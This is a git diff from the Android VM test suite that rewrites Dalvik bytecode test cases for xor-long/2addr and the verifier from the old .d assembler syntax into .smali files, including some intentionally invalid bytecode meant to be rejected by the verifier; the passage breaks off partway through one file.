diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_1.smali
new file mode 100644
index 0000000..73fe3a4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_long_2addr_1.java"
+.class  public Ldot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 5
+
+       xor-long/2addr v1, v3
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_2.d
deleted file mode 100644
index 977ce09..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_long_2addr_2.java
-.class public dot.junit.opcodes.xor_long_2addr.d.T_xor_long_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DJ)J
-.limit regs 5
-
-       xor-long/2addr v1, v3
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_2.smali
new file mode 100644
index 0000000..97ed69e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_long_2addr_2.java"
+.class  public Ldot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DJ)J
+.registers 5
+
+       xor-long/2addr v1, v3
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_3.d
deleted file mode 100644
index d578efe..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_long_2addr_3.java
-.class public dot.junit.opcodes.xor_long_2addr.d.T_xor_long_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 5
-
-       const/16 v3, 1234    
-       xor-long/2addr v1, v3
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_3.smali
new file mode 100644
index 0000000..bed2b84
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_long_2addr_3.java"
+.class  public Ldot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 5
+
+       const/16 v3, 1234    
+       xor-long/2addr v1, v3
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_4.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_4.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_4.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_4.smali
new file mode 100644
index 0000000..26859ab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_4.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_4;
+.super Ljava/lang/Object;
+.source "T_xor_long_2addr_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(JJ)J
+    .registers 5
+
+    const p3, 0x449a4000    # 1234.0f
+
+    xor-long/2addr p1, p3
+
+    return-wide p1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_5.d
deleted file mode 100644
index a69d6ca..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_long_2addr_5.java
-.class public dot.junit.opcodes.xor_long_2addr.d.T_xor_long_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 5
-
-       xor-long/2addr v1, v0
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_5.smali
new file mode 100644
index 0000000..2df014b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_long_2addr_5.java"
+.class  public Ldot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 5
+
+       xor-long/2addr v1, v0
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_6.d
deleted file mode 100644
index 2533783..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_long_2addr_6.java
-.class public dot.junit.opcodes.xor_long_2addr.d.T_xor_long_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 5
-
-       xor-long/2addr v1, v5
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_6.smali
new file mode 100644
index 0000000..5e62ed5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_long_2addr_6.java"
+.class  public Ldot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 5
+
+       xor-long/2addr v1, v5
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/a1/d/T_a1_1.d b/tools/vm-tests-tf/src/dot/junit/verify/a1/d/T_a1_1.d
deleted file mode 100644
index fae89bb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/verify/a1/d/T_a1_1.d
+++ /dev/null
@@ -1,29 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_a1_1.java
-.class public dot.junit.verify.a1.d.T_a1_1
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 2
-    return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/a1/d/T_a1_1.smali b/tools/vm-tests-tf/src/dot/junit/verify/a1/d/T_a1_1.smali
new file mode 100644
index 0000000..54d3288
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/verify/a1/d/T_a1_1.smali
@@ -0,0 +1,29 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_a1_1.java"
+.class  public Ldot/junit/verify/a1/d/T_a1_1;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 2
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/a3/d/T_a3_1.d b/tools/vm-tests-tf/src/dot/junit/verify/a3/d/T_a3_1.d
deleted file mode 100644
index 0f8d599..0000000
--- a/tools/vm-tests-tf/src/dot/junit/verify/a3/d/T_a3_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_a3_1.java
-.class public dot.junit.verify.a3.d.T_a3_1
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 2
-    nop
-    nop
-    nop
-    return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/a3/d/T_a3_1.smali b/tools/vm-tests-tf/src/dot/junit/verify/a3/d/T_a3_1.smali
new file mode 100644
index 0000000..537e922
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/verify/a3/d/T_a3_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_a3_1.java"
+.class  public Ldot/junit/verify/a3/d/T_a3_1;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 2
+    nop
+    nop
+    nop
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/a5/d/T_a5_1.d b/tools/vm-tests-tf/src/dot/junit/verify/a5/d/T_a5_1.d
deleted file mode 100644
index 898e900..0000000
--- a/tools/vm-tests-tf/src/dot/junit/verify/a5/d/T_a5_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_a5_1.java
-.class public dot.junit.verify.a5.d.T_a5_1
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 2
-    nop
-    nop
-    nop
-    return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/a5/d/T_a5_1.smali b/tools/vm-tests-tf/src/dot/junit/verify/a5/d/T_a5_1.smali
new file mode 100644
index 0000000..6422bff
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/verify/a5/d/T_a5_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_a5_1.java"
+.class  public Ldot/junit/verify/a5/d/T_a5_1;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 2
+    nop
+    nop
+    nop
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/b17/d/T_b17_1.d b/tools/vm-tests-tf/src/dot/junit/verify/b17/d/T_b17_1.d
deleted file mode 100644
index 11715c2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/verify/b17/d/T_b17_1.d
+++ /dev/null
@@ -1,30 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_b17_1.java
-.class public dot.junit.verify.b17.d.T_b17_1
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 2
-
-       const/16 v0, 123 
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/b17/d/T_b17_1.smali b/tools/vm-tests-tf/src/dot/junit/verify/b17/d/T_b17_1.smali
new file mode 100644
index 0000000..d58a102
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/verify/b17/d/T_b17_1.smali
@@ -0,0 +1,30 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_b17_1.java"
+.class  public Ldot/junit/verify/b17/d/T_b17_1;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 2
+
+       const/16 v0, 123 
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_1.d b/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_1.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_1.d
rename to tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_1.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_1.smali b/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_1.smali
new file mode 100644
index 0000000..efcb876
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_1.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/verify/b2/d/T_b2_1;
+.super Ljava/lang/Object;
+.source "T_b2_1.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const-wide v0, 0x7b
+
+    move v1, v0 # illegal read access to v1
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_2.d b/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_2.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_2.d
rename to tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_2.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_2.smali b/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_2.smali
new file mode 100644
index 0000000..2d37387
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_2.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/verify/b2/d/T_b2_2;
+.super Ljava/lang/Object;
+.source "T_b2_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const-wide v0, 0x7b
+
+    move v0, v1 # illegal read access to v0
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_3.d b/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_3.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_3.d
rename to tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_3.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_3.smali b/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_3.smali
new file mode 100644
index 0000000..22b5702
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_3.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/verify/b2/d/T_b2_3;
+.super Ljava/lang/Object;
+.source "T_b2_3.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 5
+
+    const v0, 0x7b
+
+    const v1, 0x7b
+
+    move-wide v2, v0 # illegal read access to v0/1
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_4.d b/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_4.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_4.d
rename to tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_4.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_4.smali b/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_4.smali
new file mode 100644
index 0000000..0083448
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_4.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/verify/b2/d/T_b2_4;
+.super Ljava/lang/Object;
+.source "T_b2_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 4
+
+    const-wide v0, 0x7b
+
+    move v2, v0 # illegal read access to v0
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_5.d b/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_5.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_5.d
rename to tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_5.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_5.smali b/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_5.smali
new file mode 100644
index 0000000..80cb6df
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_5.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/verify/b2/d/T_b2_5;
+.super Ljava/lang/Object;
